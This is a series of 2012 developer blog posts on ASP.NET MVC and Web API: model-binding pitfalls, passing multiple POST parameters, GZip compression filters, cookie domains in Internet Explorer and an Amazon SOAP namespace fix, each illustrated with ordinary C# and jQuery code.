Rick Strahl's Web Log

DropDownList and SelectListItem Array Item Updates in MVC

Rick Strahl — Wed, 16 May 2012 16:44:00 GMT

So I ran into an interesting behavior today as I deployed my first MVC 4 app tonight. I have a list form that has a filter drop down that allows selection of categories. This list is static and rarely changes so rather than loading these items from the database each time I load the items once and then cache the actual SelectListItem[] array in a static property.

However, when we put the site online tonight we immediately noticed that the drop down list was coming up with pre-set values that randomly changed. Didn't take me long to trace this back to the cached list of SelectListItem[]. Clearly the list was getting updated - apparently through the model binding process in the selection postback.

To clarify the scenario here's the drop down list definition in the Razor View:

@Html.DropDownListFor(mod => mod.QueryParameters.Category, Model.CategoryList, "All Categories")

where Model.CategoryList gets set with:

[HttpPost]
[CompressContent]
public ActionResult List(MessageListViewModel model)
{
    InitializeViewModel(model);

    busEntry entryBus = new busEntry();
    var entries = entryBus.GetEntryList(model.QueryParameters);

    model.Entries = entries;
    model.DisplayMode = ApplicationDisplayModes.Standard;
       
    model.CategoryList = AppUtils.GetCachedCategoryList();

    return View(model);
}

The AppUtils.GetCachedCategoryList() method gets the cached list or loads the list on the first access. The code to load up the list is housed in a Web utility class. The method looks like this:

/// <summary>
/// Returns a static category list that is cached
/// </summary>
/// <returns></returns>
public static SelectListItem[] GetCachedCategoryList()
{
    if (_CategoryList != null)
        return _CategoryList;

    lock (_SyncLock)
    {
        if (_CategoryList != null)
            return _CategoryList;
        
        var catBus = new busCategory();
        var categories = catBus.GetCategories().ToList();


        // Turn list into a SelectItem list            
        var catList= categories
                         .Select(cat => new SelectListItem() { Text = cat.Name, Value = cat.Id.ToString() })
                         .ToList();

        catList.Insert(0, new SelectListItem()
        {
            Value = ((int)SpecialCategories.AllCategoriesButRealEstate).ToString(),
            Text = "All Categories except Real Estate"
        });
        catList.Insert(1, new SelectListItem()
        {
            Value = "-1",
            Text = "--------------------------------"                    
        });
        
        _CategoryList = catList.ToArray();
    }

    return _CategoryList;
}
private static SelectListItem[] _CategoryList ;

This seemed normal enough to me - I've been doing stuff like this forever caching smallish lists in memory to avoid an extra trip to the database. This list is used in various places throughout the application - for the list display and also when adding new items and setting up for notifications etc..

Watch that ModelBinder!

However, it turns out that this code is clearly causing a problem. It appears that the model binder on the [HttpPost] method is actually updating the list that's bound to and changing the actual entry item in the list and setting its selected value. If you look at the code above I'm not setting the SelectListItem.Selected value anywhere - the only place this value can get set is through ModelBinding. Sure enough when stepping through the code I see that when an item is selected the actual model - model.CategoryList[x].Selected - reflects that.

This is bad on several levels: First it's obviously affecting the application behavior - nobody wants to see their drop down list values jump all over the place randomly. But it's also a problem because the array is getting updated by multiple ASP.NET threads which likely would lead to odd crashes from time to time. Not good!

In retrospect the modelbinding behavior makes perfect sense. The actual items and the Selected property is the ModelBinder's way of keeping track of one or more selected values. So while I assumed the list to be read-only, the ModelBinder is actually updating it on a post back producing the rather surprising results. Totally missed this during testing and is another one of those little - "Did you know?" moments.

So, is there a way around this? Yes but it's maybe not quite obvious. I can't change the behavior of the ModelBinder, but I can certainly change the way that the list is generated. Rather than returning the cached list, I can return a brand new cloned list from the cached items like this:

/// <summary>
/// Returns a static category list that is cached
/// </summary>
/// <returns></returns>
public static SelectListItem[] GetCachedCategoryList()
{
    if (_CategoryList != null)
    {
        // Have to create new instances via projection
        // to avoid ModelBinding updates to affect this
        // globally
        return _CategoryList
                    .Select(cat => new SelectListItem()
                                   {
                                       Value = cat.Value,
                                       Text = cat.Text
                                   })
                    .ToArray();
    }

…

The key is that newly created instances of SelectListItems are returned not just filtered instances of the original list. The key here is 'new instances' so that the ModelBinding updates do not update the actual static instance. The code above uses LINQ and a projection into new SelectListItem instances to create this array of fresh instances. And this code works correctly - no more cross-talk between users.

Unfortunately this code is also less efficient - it has to reselect the items and uses extra memory for the new array. Knowing what I know now I probably would have not cached the list and just take the hit to read from the database. If there is even a possibility of thread clashes I'm very wary of creating code like this. But since the method already exists and handles this load in one place this fix was easy enough to put in.

Live and learn. It's little things like this that can cause some interesting head scratchers sometimes…

Posted in MVC ASP.NET .NET

Passing multiple POST parameters to Web API Controller Methods

Rick Strahl — Wed, 09 May 2012 05:29:14 GMT

ASP.NET Web API introduces a new API for creating REST APIs and making AJAX callbacks to the server. This new API provides a host of new great functionality that unifies many of the features of many of the various AJAX/REST APIs that Microsoft created before it - ASP.NET AJAX, WCF REST specifically - and combines them into a whole more consistent API. Web API addresses many of the concerns that developers had with these older APIs, namely that it was very difficult to build consistent REST style resource APIs easily.

While Web API provides many new features and makes many scenarios much easier, a lot of the focus has been on making it easier to build REST compliant APIs that are focused on resource based solutions and HTTP verbs. But RPC style calls that are common with AJAX callbacks in Web applications, have gotten a lot less focus and there are a few scenarios that are not that obvious, especially if you're expecting Web API to provide functionality similar to ASP.NET AJAX style AJAX callbacks.

RPC vs. 'Proper' REST

RPC style HTTP calls mimic calling a method with parameters and returning a result. Rather than mapping explicit server side resources or 'nouns' RPC calls tend simply map a server side operation, passing in parameters and receiving a typed result where parameters and result values are marshaled over HTTP. Typically RPC calls - like SOAP calls - tend to always be POST operations rather than following HTTP conventions and using the GET/POST/PUT/DELETE etc. verbs to implicitly determine what operation needs to be fired.

RPC might not be considered 'cool' anymore, but for typical private AJAX backend operations of a Web site I'd wager that a large percentage of use cases of Web API will fall towards RPC style calls rather than 'proper' REST style APIs. Web applications that have needs for things like live validation against data, filling data based on user inputs, handling small UI updates often don't lend themselves very well to limited HTTP verb usage. It might not be what the cool kids do, but I don't see RPC calls getting replaced by proper REST APIs any time soon. Proper REST has its place - for 'real' API scenarios that manage and publish/share resources, but for more transactional operations RPC seems a better choice and much easier to implement than trying to shoehorn a boatload of endpoint methods into a few HTTP verbs.

In any case Web API does a good job of providing both RPC abstraction as well as the HTTP Verb/REST abstraction. RPC works well out of the box, but there are some differences especially if you're coming from ASP.NET AJAX service or WCF Rest when it comes to multiple parameters.

Action Routing for RPC Style Calls

If you've looked at Web API demos you've probably seen a bunch of examples of how to create HTTP Verb based routing endpoints. Verb based routing essentially maps a controller and then uses HTTP verbs to map the methods that are called in response to HTTP requests. This works great for resource APIs but doesn't work so well when you have many operational methods in a single controller. HTTP Verb routing is limited to the few HTTP verbs available (plus separate method signatures) and - worse than that - you can't easily extend the controller with custom routes or action routing beyond that.

Thankfully Web API also supports Action based routing which allows you create RPC style endpoints fairly easily:

RouteTable.Routes.MapHttpRoute(
    name: "AlbumRpcApiAction",
    routeTemplate: "albums/{action}/{title}",
    defaults: new
    {
        title = RouteParameter.Optional,
        controller = "AlbumApi",
        action = "GetAblums"
    }
);

This uses traditional MVC style {action} method routing which is different from the HTTP verb based routing you might have read a bunch about in conjunction with Web API. Action based routing like above lets you specify an end point method in a Web API controller either via the {action} parameter in the route string or via a default value for custom routes.

Using routing you can pass multiple parameters either on the route itself or pass parameters on the query string, via ModelBinding or content value binding. For most common scenarios this actually works very well. As long as you are passing either a single complex type via a POST operation, or multiple simple types via query string or POST buffer, there's no issue. But if you need to pass multiple parameters as was easily done with WCF REST or ASP.NET AJAX things are not so obvious.

Web API has no issue allowing for single parameter like this:

[HttpPost]
public string PostAlbum(Album album)
{
    return String.Format("{0} {1:d}", album.AlbumName, album.Entered);
}

There are actually two ways to call this endpoint:

albums/PostAlbum

Using the Model Binder with plain POST values

In this mechanism you're sending plain urlencoded POST values to the server which the ModelBinder then maps the parameter. Each property value is matched to each matching POST value. This works similar to the way that MVC's ModelBinder works. Here's how you can POST using the ModelBinder and jQuery:

$.ajax(
{
    url: "albums/PostAlbum",
    type: "POST",
    data: { AlbumName: "Dirty Deeds", Entered: "5/1/2012" },
    success: function (result) {
        alert(result);
    },
    error: function (xhr, status, p3, p4) {
        var err = "Error " + " " + status + " " + p3;
        if (xhr.responseText && xhr.responseText[0] == "{")
            err = JSON.parse(xhr.responseText).message;
        alert(err);
    }
});

Here's what the POST data looks like for this request:

The model binder and it's straight form based POST mechanism is great for posting data directly from HTML pages to model objects. It avoids having to do manual conversions for many operations and is a great boon for AJAX callback requests.

Using Web API JSON Formatter

The other option is to post data using a JSON string. The process for this is similar except that you create a JavaScript object and serialize it to JSON first.

album = {
    AlbumName: "PowerAge",
    Entered: new Date(1977,0,1)
}
$.ajax(
{
    url: "albums/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify(album),
    success: function (result) {
        alert(result);
    }
});

Here the data is sent using a JSON object rather than form data and the data is JSON encoded over the wire.

The trace reveals that the data is sent using plain JSON (Source above), which is a little more efficient since there's no UrlEncoding that occurs.

BTW, notice that WebAPI automatically deals with the date. I provided the date as a plain string, rather than a JavaScript date value and the Formatter and ModelBinder both automatically map the date propertly to the Entered DateTime property of the Album object.

Passing multiple Parameters to a Web API Controller

Single parameters work fine in either of these RPC scenarios and that's to be expected. ModelBinding always works against a single object because it maps a model. But what happens when you want to pass multiple parameters?

Consider an API Controller method that has a signature like the following:

[HttpPost]
public string PostAlbum(Album album, string userToken)

Here I'm asking to pass two objects to an RPC method. Is that possible? This used to be fairly straight forward either with WCF REST and ASP.NET AJAX ASMX services, but as far as I can tell this is not directly possible using a POST operation with WebAPI.

There a few workarounds that you can use to make this work:

**Use both POST and QueryString Parameters in Conjunction**

If you have both complex and simple parameters, you can pass simple parameters on the query string. The above would actually work with:

/album/PostAlbum?userToken=sekkritt

but that's not always possible. In this example it might not be a good idea to pass a user token on the query string though. It also won't work if you need to pass multiple complex objects, since query string values do not support complex type mapping. They only work with simple types.

Use a single Object that wraps the two Parameters

If you go by service based architecture guidelines every service method should always pass and return a single value only. The input should wrap potentially multiple input parameters and the output should convey status as well as provide the result value. You typically have a xxxRequest and a xxxResponse class that wraps the inputs and outputs.

Here's what this method might look like:

public PostAlbumResponse PostAlbum(PostAlbumRequest request)
{
    var album = request.Album;
    var userToken = request.UserToken;

    return new PostAlbumResponse()
    {
         IsSuccess = true,
         Result = String.Format("{0} {1:d} {2}", album.AlbumName, album.Entered,userToken)
    };
}

with these support types:

public class PostAlbumRequest
{
    public Album Album { get; set; }
    public User User { get; set; }
    public string UserToken { get; set; }
}

public class PostAlbumResponse
{
    public string Result { get; set; }
    public bool IsSuccess { get; set; }
    public string ErrorMessage { get; set; }
}

To call this method you now have to assemble these objects on the client and send it up as JSON:

var album = {
    AlbumName: "PowerAge",
    Entered: "1/1/1977"
}
var user = {
    Name: "Rick"
}
var userToken = "sekkritt";


$.ajax(
{
    url: "samples/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),
    success: function (result) {
        alert(result.Result);
    }
});

I assemble the individual types first and then combine them in the data: property of the $.ajax() call into the actual object passed to the server, that mimics the structure of PostAlbumRequest server class that has Album, User and UserToken properties.

This works well enough but it gets tedious if you have to create Request and Response types for each method signature. If you have common parameters that are always passed (like you always pass an album or usertoken) you might be able to abstract this to use a single object that gets reused for all methods, but this gets confusing too: Overload a single 'parameter' too much and it becomes a nightmare to decipher what your method actual can use.

Use JObject to parse multiple Property Values out of an Object

If you recall, ASP.NET AJAX and WCF REST used a 'wrapper' object to make default AJAX calls. Rather than directly calling a service you always passed an object which contained properties for each parameter:

{ parm1: Value, parm2: Value2 }

WCF REST/ASP.NET AJAX would then parse this top level property values and map them to the parameters of the endpoint method.

This automatic type wrapping functionality is no longer available directly in Web API, but since Web API now uses JSON.NET for it's JSON serializer you can actually simulate that behavior with a little extra code. You can use the JObject class to receive a dynamic JSON result and then using the dynamic cast of JObject to walk through the child objects and even parse them into strongly typed objects.

Here's how to do this on the API Controller end:

[HttpPost]
public string PostAlbum(JObject jsonData)
{
    dynamic json = jsonData;
    JObject jalbum = json.Album;
    JObject juser = json.User;
    string token = json.UserToken;

    var album = jalbum.ToObject<Album>();
    var user = juser.ToObject<User>();

    return String.Format("{0} {1} {2}", album.AlbumName, user.Name, token);
}

This is clearly not as nice as having the parameters passed directly, but it works to allow you to pass multiple parameters and access them using Web API.

JObject is JSON.NET's generic object container which sports a nice dynamic interface that allows you to walk through the object's properties using standard 'dot' object syntax. All you have to do is cast the object to dynamic to get access to the property interface of the JSON type.

Additionally JObject also allows you to parse JObject instances into strongly typed objects, which enables us here to retrieve the two objects passed as parameters from this jquery code:

var album = {
    AlbumName: "PowerAge",
    Entered: "1/1/1977"
}
var user = {
    Name: "Rick"
}
var userToken = "sekkritt";


$.ajax(
{
    url: "samples/PostAlbum",
    type: "POST",
    contentType: "application/json",
    data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),
     success: function (result) {
        alert(result);
    }
});

Summary

ASP.NET Web API brings many new features and many advantages over the older Microsoft AJAX and REST APIs, but realize that some things like passing multiple strongly typed object parameters will work a bit differently. It's not insurmountable, but just knowing what options are available to simulate this behavior is good to know.

Now let me say here that it's probably not a good practice to pass a bunch of parameters to an API call. Ideally APIs should be closely factored to accept single parameters or a single content parameter at least along with some identifier parameters that can be passed on the querystring. But saying that doesn't mean that occasionally you don't run into a situation where you have the need to pass several objects to the server and all three of the options I mentioned might have merit in different situations.

For now I'm sure the question of how to pass multiple parameters will come up quite a bit from people migrating WCF REST or ASP.NET AJAX code to Web API. At least there are options available to make it work.

Posted in Web Api

Amazon Product Advertising API SOAP Namespace Changes

Rick Strahl — Thu, 03 May 2012 11:36:08 GMT

About two months ago (twowards the end of February 2012 I think) Amazon decided to change the namespace of the Product Advertising API. The error that would come up was:

<ItemSearchResponse xmlns='http://webservices.amazon.com/AWSECommerceService/2011-08-01'> was not expected.

If you've used the Amazon Product Advertising API you probably know that Amazon has made it a habit to break the services every few years or so and I guess last month was about the time for another one.

Basically the service namespace of the document has been changed and responses from the service just failed outright even though the rest of the schema looks fine.

Now I looked around for a while trying to find a recent update to the Product Advertising API - something semi-official looking but everything is dated around 2009. Really??? And it's not just .NET - the newest thing on the sample/APIs is dated early 2011 and a handful of 2010 samples. There are newer full APIs for the 'cloud' offerings, but the Product Advertising API apparently isn't part of that.

After searching for quite a bit trying to trace this down myself and trying some of the newer samples (which also failed) I found an obscure forum post that describes the solution of getting past the namespace issue.

FWIW, I've been using an old version of the Product Advertising API using the old Microsoft WSE3 services (pre-WCF), which provides some of the WS* security features required by the Amazon service. The fix for this code is to explicitly override the namespace declaration on each of the imported service method signatures.

The old service namespace (at least on my build) was:

http://webservices.amazon.com/AWSECommerceService/2009-03-31

and it should be changed to:

http://webservices.amazon.com/AWSECommerceService/2011-08-01

Change it on the class header:

[Microsoft.Web.Services3.Messaging.SoapService("http://webservices.amazon.com/AWSECommerceService/2011-08-01")]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(Property[]))]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(BrowseNode[]))]
[System.Xml.Serialization.XmlIncludeAttribute(typeof(TransactionItem[]))]
public partial class AWSECommerceService : Microsoft.Web.Services3.Messaging.SoapClient {

and on all method signatures:

[Microsoft.Web.Services3.Messaging.SoapMethodAttribute("http://soap.amazon.com/ItemSearch")]
[return: System.Xml.Serialization.XmlElementAttribute("ItemSearchResponse", 
                                  Namespace="http://webservices.amazon.com/AWSECommerceService/2011-08-01")]
public ItemSearchResponse ItemSearch(ItemSearch ItemSearch1) {
    Microsoft.Web.Services3.SoapEnvelope results = base.SendRequestResponse("ItemSearch", ItemSearch1);
    return ((ItemSearchResponse)(results.GetBodyObject(typeof(ItemSearchResponse), this.SoapServiceAttribute.TargetNamespace)));
}

It's easy to do with a Search and Replace on the above strings.

Amazon Services

<rant>

FWIW, I've not been impressed by Amazon's service offerings. While the services work well, their documentation and tool support is absolutely horrendous. I was recently working with a customer on an old AWS application and their old API had been completely removed with a new API that wasn't even a close match. One old API call resulted in requiring three different APIs to perform the same functionality. We had to re-write the entire piece from scratch essentially. The documentation was downright wrong, and incomplete and so scattered it was next to impossible to follow. The examples weren't examples at all - they're mockups of real service calls with fake data that didn't even provide everything that was required to make same service calls work. Additionally there appears to be just about no public support from Amazon, only peer support which is sparse at best - and getting a hold of somebody at Amazon, even for pay seems to be mythical task. It's a terrible business model they have going. I can't see why anybody would put themselves through this sort of customer and development experience.

Sad really, but an experience we see more and more these days. Nobody puts in the time to document anything anymore, leaving it to devs to figure this stuff out over and over again…

</rant>

Posted in CSharp Web Services

GZip/Deflate Compression in ASP.NET MVC

Rick Strahl — Sat, 28 Apr 2012 11:00:08 GMT

A long while back I wrote about GZip compression in ASP.NET. In that article I describe two generic helper methods that I've used in all sorts of ASP.NET application from WebForms apps to HttpModules and HttpHandlers that require gzip or deflate compression. The same static methods also work in ASP.NET MVC.

Here are the two routines:

/// <summary>
/// Determines if GZip is supported
/// </summary>
/// <returns></returns>
public static bool IsGZipSupported()
{
    string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];
    if (!string.IsNullOrEmpty(AcceptEncoding) &&
            (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate")))
        return true;
    return false;
}

/// <summary>
/// Sets up the current page or handler to use GZip through a Response.Filter
/// IMPORTANT:  
/// You have to call this method before any output is generated!
/// </summary>
public static void GZipEncodePage()
{
    HttpResponse Response = HttpContext.Current.Response;

    if (IsGZipSupported())
    {
        string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];

        if (AcceptEncoding.Contains("gzip"))
        {
            Response.Filter = new System.IO.Compression.GZipStream(Response.Filter,
                                        System.IO.Compression.CompressionMode.Compress);
            Response.Headers.Remove("Content-Encoding");
            Response.AppendHeader("Content-Encoding", "gzip");
        }
        else
        {
            Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter,
                                        System.IO.Compression.CompressionMode.Compress);
            Response.Headers.Remove("Content-Encoding");
            Response.AppendHeader("Content-Encoding", "deflate");
        }
    }

    // Allow proxy servers to cache encoded and unencoded versions separately
    Response.AppendHeader("Vary", "Content-Encoding");
}

The first method checks whether the client sending the request includes the accept-encoding for either gzip or deflate, and if if it does it returns true. The second function uses IsGzipSupported() to decide whether it should encode content and uses an Response Filter to do its job. Basically response filters look at the Response output stream as it's written and convert the data flowing through it. Filters are a bit tricky to work with but the two .NET filter streams for GZip and Deflate Compression make this a snap to implement.

In my old code and even now in MVC I can always do:

public ActionResult List(string keyword=null, int category=0)
{
    WebUtils.GZipEncodePage();

…

to encode my content. And that works just fine.

The proper way: Create an ActionFilterAttribute

However in MVC this sort of thing is typically better handled by an ActionFilter which can be applied with an attribute. So to be all prim and proper I created an CompressContentAttribute ActionFilter that incorporates those two helper methods and which looks like this:

/// <summary>
/// Attribute that can be added to controller methods to force content
/// to be GZip encoded if the client supports it
/// </summary>
public class CompressContentAttribute : ActionFilterAttribute
{

    /// <summary>
    /// Override to compress the content that is generated by
    /// an action method.
    /// </summary>
    /// <param name="filterContext"></param>
    public override void OnActionExecuting(ActionExecutingContext filterContext)
    {
        GZipEncodePage();
    }

    /// <summary>
    /// Determines if GZip is supported
    /// </summary>
    /// <returns></returns>
    public static bool IsGZipSupported()
    {
        string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];
        if (!string.IsNullOrEmpty(AcceptEncoding) &&
                (AcceptEncoding.Contains("gzip") || AcceptEncoding.Contains("deflate")))
            return true;
        return false;
    }

    /// <summary>
    /// Sets up the current page or handler to use GZip through a Response.Filter
    /// IMPORTANT:  
    /// You have to call this method before any output is generated!
    /// </summary>
    public static void GZipEncodePage()
    {
        HttpResponse Response = HttpContext.Current.Response;

        if (IsGZipSupported())
        {
            string AcceptEncoding = HttpContext.Current.Request.Headers["Accept-Encoding"];

            if (AcceptEncoding.Contains("gzip"))
            {
                Response.Filter = new System.IO.Compression.GZipStream(Response.Filter,
                                            System.IO.Compression.CompressionMode.Compress);
                Response.Headers.Remove("Content-Encoding");
                Response.AppendHeader("Content-Encoding", "gzip");
            }
            else
            {
                Response.Filter = new System.IO.Compression.DeflateStream(Response.Filter,
                                            System.IO.Compression.CompressionMode.Compress);
                Response.Headers.Remove("Content-Encoding");
                Response.AppendHeader("Content-Encoding", "deflate");
            }


        }

        // Allow proxy servers to cache encoded and unencoded versions separately
        Response.AppendHeader("Vary", "Content-Encoding");
    }
}

It's basically the same code wrapped into an ActionFilter attribute, which intercepts requests MVC requests to Controller methods and lets you hook up logic before and after the methods have executed. Here I want to override OnActionExecuting() which fires before the Controller action is fired.

With the CompressContentAttribute created, it can now be applied to either the controller as a whole:

[CompressContent]
public class ClassifiedsController : ClassifiedsBaseController
{ … }

or to one of the Action methods:

[CompressContent]    
public ActionResult List(string keyword=null, int category=0)
{ … }

The former applies compression to every action method, while the latter is selective and only applies it to the individual action method.

Is the attribute better than the static utility function? Not really, but it is the standard MVC way to hook up 'filter' content and that's where others are likely to expect to set options like this. In fact, you have a bit more control with the utility function because you can conditionally apply it in code, but this is actually much less likely in MVC applications than old WebForms apps since controller methods tend to be more focused.

Compression Caveats

Http compression is very cool and pretty easy to implement in ASP.NET but you have to be careful with it - especially if your content might get transformed or redirected inside of ASP.NET. A good example, is if an error occurs and a compression filter is applied. ASP.NET errors don't clear the filter, but clear the Response headers which results in some nasty garbage because the compressed content now no longer matches the headers. Another issue is Caching, which has to account for all possible ways of compression and non-compression that the content is served. Basically compressed content and caching don't mix well. I wrote about several of these issues in an old blog post and I recommend you take a quick peek before diving into making every bit of output Gzip encoded.

None of these are show stoppers, but you have to be aware of the issues.

Posted in ASP.NET MVC

Internet Explorer and Cookie Domains

Rick Strahl — Wed, 25 Apr 2012 13:04:09 GMT

I've been bitten by some nasty issues today in regards to using a domain cookie as part of my FormsAuthentication operations. In the app I'm currently working on we need to have single sign-on that spans multiple sub-domains (www.domain.com, store.domain.com, mail.domain.com etc.). That's what a domain cookie is meant for - when you set the cookie with a Domain value of the base domain the cookie stays valid for all sub-domains.

I've been testing the app for quite a while and everything is working great. Finally I get around to checking the app with Internet Explorer and I start discovering some problems - specifically on my local machine using localhost.

It appears that Internet Explorer (all versions) doesn't allow you to specify a domain of localhost, a local IP address or machine name. When you do, Internet Explorer simply ignores the cookie. In my last post I talked about some generic code I created to basically parse out the base domain from the current URL so a domain cookie would automatically used using this code:

private void IssueAuthTicket(UserState userState, bool rememberMe)
{
    FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, userState.UserId,
                                                         DateTime.Now, DateTime.Now.AddDays(10),
                                                         rememberMe, userState.ToString());
    
    string ticketString = FormsAuthentication.Encrypt(ticket);
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, ticketString);
    cookie.HttpOnly = true;
    
    if (rememberMe)
        cookie.Expires = DateTime.Now.AddDays(10);

    var domain = Request.Url.GetBaseDomain();
    if (domain != Request.Url.DnsSafeHost)
        cookie.Domain = domain;

    HttpContext.Response.Cookies.Add(cookie);
}

This code works fine on all browsers but Internet Explorer both locally and on full domains. And it also works fine for Internet Explorer with actual 'real' domains. However, this code fails silently for IE when the domain is localhost or any other local address. In that case Internet Explorer simply refuses to accept the cookie and fails to log in.

Argh! The end result is that the solution above trying to automatically parse the base domain won't work as local addresses end up failing.

Configuration Setting

Given this screwed up state of affairs, the best solution to handle this is a configuration setting. Forms Authentication actually has a domain key that can be set for FormsAuthentication so that's natural choice for the storing the domain name:

    <authentication mode="Forms">
      <forms loginUrl="~/Account/Login"
             name="gnc"
             domain="mydomain.com"
             slidingExpiration="true"
             timeout="30"
             xdt:Transform="Replace"/>
    </authentication>

Although I'm not actually letting FormsAuth set my cookie directly I can still access the domain name from the static FormsAuthentication.CookieDomain property, by changing the domain assignment code to:

if (!string.IsNullOrEmpty(FormsAuthentication.CookieDomain))
    cookie.Domain = FormsAuthentication.CookieDomain;

The key is to only set the domain when actually running on a full authority, and leaving the domain key blank on the local machine to avoid the local address debacle.

Note if you want to see this fail with IE, set the domain to domain="localhost" and watch in Fiddler what happens.

Logging Out

When specifying a domain key for a login it's also vitally important that that same domain key is used when logging out. Forms Authentication will do this automatically for you when the domain is set and you use FormsAuthentication.SignOut().

If you use an explicit Cookie to manage your logins or other persistant value, make sure that when you log out you also specify the domain. IOW, the expiring cookie you set for a 'logout' should match the same settings - name, path, domain - as the cookie you used to set the value.

HttpCookie cookie = new HttpCookie("gne", "");
cookie.Expires = DateTime.Now.AddDays(-5);

// make sure we use the same logic to release cookie
var domain = Request.Url.GetBaseDomain();
if (domain != Request.Url.DnsSafeHost)
    cookie.Domain = domain;

HttpContext.Response.Cookies.Add(cookie);

I managed to get my code to do what I needed it to, but man I'm getting so sick and tired of fixing IE only bugs. I spent most of the day today fixing a number of small IE layout bugs along with this issue which took a bit of time to trace down.

Posted in ASP.NET

Getting a 'base' Domain from a Domain

Rick Strahl — Wed, 25 Apr 2012 04:17:07 GMT

Here's a simple one: How do you reliably get the base domain from full domain name or URI? Specifically I've run into this scenario in a few recent applications when creating the Forms Auth Cookie in my ASP.NET applications where I explicitly need to force the domain name to the common base domain. So, www.west-wind.com, store.west-wind.com, west-wind.com, dev.west-wind.com all should return west-wind.com.

Here's the code where I need to use this type of logic for issuing an AuthTicket explicitly:

private void IssueAuthTicket(UserState userState, bool rememberMe)
{
    FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, userState.UserId,
                                                         DateTime.Now, DateTime.Now.AddDays(10),
                                                         rememberMe, userState.ToString());

    string ticketString = FormsAuthentication.Encrypt(ticket);
    HttpCookie cookie = new HttpCookie(FormsAuthentication.FormsCookieName, ticketString);
    cookie.HttpOnly = true;
    
    if (rememberMe)
        cookie.Expires = DateTime.Now.AddDays(10);

    // write out a domain cookie
    cookie.Domain = Request.Url.GetBaseDomain();

    HttpContext.Response.Cookies.Add(cookie);
}

Now unfortunately there's no Uri.GetBaseDomain() method unfortunately, as I was surprised to find out. So I ended up creating one:

public static class NetworkUtils
{

    /// <summary>
    /// Retrieves a base domain name from a full domain name.
    /// For example: www.west-wind.com produces west-wind.com
    /// </summary>
    /// <param name="domainName">Dns Domain name as a string</param>
    /// <returns></returns>
    public static string GetBaseDomain(string domainName)
    {
            var tokens = domainName.Split('.');

            // only split 3 segments like www.west-wind.com
            if (tokens == null || tokens.Length != 3)
                return domainName;

            var tok  = new List<string>(tokens);
            var remove = tokens.Length - 2;
            tok.RemoveRange(0, remove);

            return tok[0] + "." + tok[1]; ;                                
    }

    /// <summary>
    /// Returns the base domain from a domain name
    /// Example: http://www.west-wind.com returns west-wind.com
    /// </summary>
    /// <param name="uri"></param>
    /// <returns></returns>
    public static string GetBaseDomain(this Uri uri)
    {
        if (uri.HostNameType == UriHostNameType.Dns)                        
            return GetBaseDomain(uri.DnsSafeHost);
        
        return uri.Host;
    }
 
}

I've had a need for this so frequently it warranted a couple of helpers. The second Uri helper is an Extension method to the Uri class, which is what's used the in the first code sample. This is the preferred way to call this since the URI class can differentiate between Dns names and IP Addresses. If you use the first string based version there's a little more guessing going on if a URL is an IP Address.

There are a couple of small twists in dealing with 'domain names'. When passing a string only there's a possibility to not actually pass domain name, but end up passing an IP address, so the code explicitly checks for three domain segments (can there be more than 3?). IP4 Addresses have 4 and IP6 have none so they'll fall through. Then there are things like localhost or a NetBios machine name which also come back on URL strings, but also shouldn't be handled.

Anyway, small thing but maybe somebody else will find this useful.

Posted in ASP.NET Networking

ASP.NET MVC Postbacks and HtmlHelper Controls ignoring Model Changes

Rick Strahl — Fri, 20 Apr 2012 09:19:57 GMT

So here's a binding behavior in ASP.NET MVC that I didn't really get until today: HtmlHelpers controls (like .TextBoxFor() etc.) don't bind to model values on Postback, but rather get their value directly out of the POST buffer from ModelState. Effectively it looks like you can't change the display value of a control via model value updates on a Postback operation.

To demonstrate here's an example. I have a small section in a document where I display an editable email address:

This is what the form displays on a GET operation and as expected I get the email value displayed in both the textbox and plain value display below, which reflects the value in the mode. I added a plain text value to demonstrate the model value compared to what's rendered in the textbox.

The relevant markup is the email address which needs to be manipulated via the model in the Controller code. Here's the Razor markup:

        <div class="fieldcontainer">
            <label>
                Email: &nbsp; <small>(username and <a href="http://gravatar.com">Gravatar</a> image)</small>
            </label>
            <div>
                @Html.TextBoxFor( mod=> mod.User.Email, new {type="email",@class="inputfield"})

                @Model.User.Email 
            </div>
        </div>

So, I have this form and the user can change their email address. On postback the Post controller code then asks the business layer whether the change is allowed. If it's not I want to reset the email address back to the old value which exists in the database and was previously store. The obvious thing to do would be to modify the model. Here's the Controller logic block that deals with that:

// did user change email?
if (!string.IsNullOrEmpty(oldEmail) && user.Email != oldEmail)
{
    if (userBus.DoesEmailExist(user.Email))
    {
        userBus.ValidationErrors.Add("New email address exists already. Please…");
        user.Email = oldEmail;
    }
    else
        // allow email change but require verification by forcing a login
        user.IsVerified = false;
}

… 
model.user = user;
return View(model);

The logic is straight forward - if the new email address is not valid because it already exists I don't want to display the new email address the user entered, but rather the old one. To do this I change the value on the model which effectively does this:

model.user.Email = oldEmail;
return View(model);

So when I press the Save button after entering in my new email address (rickstrahl@hotmail.com) here's what comes back in the rendered view:

Notice that the textbox value and the raw displayed model value are different. The TextBox displays the POST value, the raw value displays the actual model value which are different.

This means that MVC renders the textbox value from the POST data rather than from the view data when an Http POST is active.

Now I don't know about you but this is not the behavior I expected - initially. This behavior effectively means that I cannot modify the contents of the textbox from the Controller code if using HtmlHelpers for binding. Updating the model for display purposes in a POST has in effect - no effect.

(Apr. 25, 2012 - edited the post heavily based on comments and more experimentation)

What should the behavior be?

After getting quite a few comments on this post I quickly realized that the behavior I described above is actually the behavior you'd want in 99% of the binding scenarios. You do want to get the POST values back into your input controls at all times, so that the data displayed on a form for the user matches what they typed. So if an error occurs, the error doesn't mysteriously disappear getting replaced either with a default value or some value that you changed on the model on your own. Makes sense.

Still it is a little non-obvious because the way you create the UI elements with MVC, it certainly looks like your are binding to the model value:

@Html.TextBoxFor( mod=> mod.User.Email, new {type="email",@class="inputfield",required="required" })

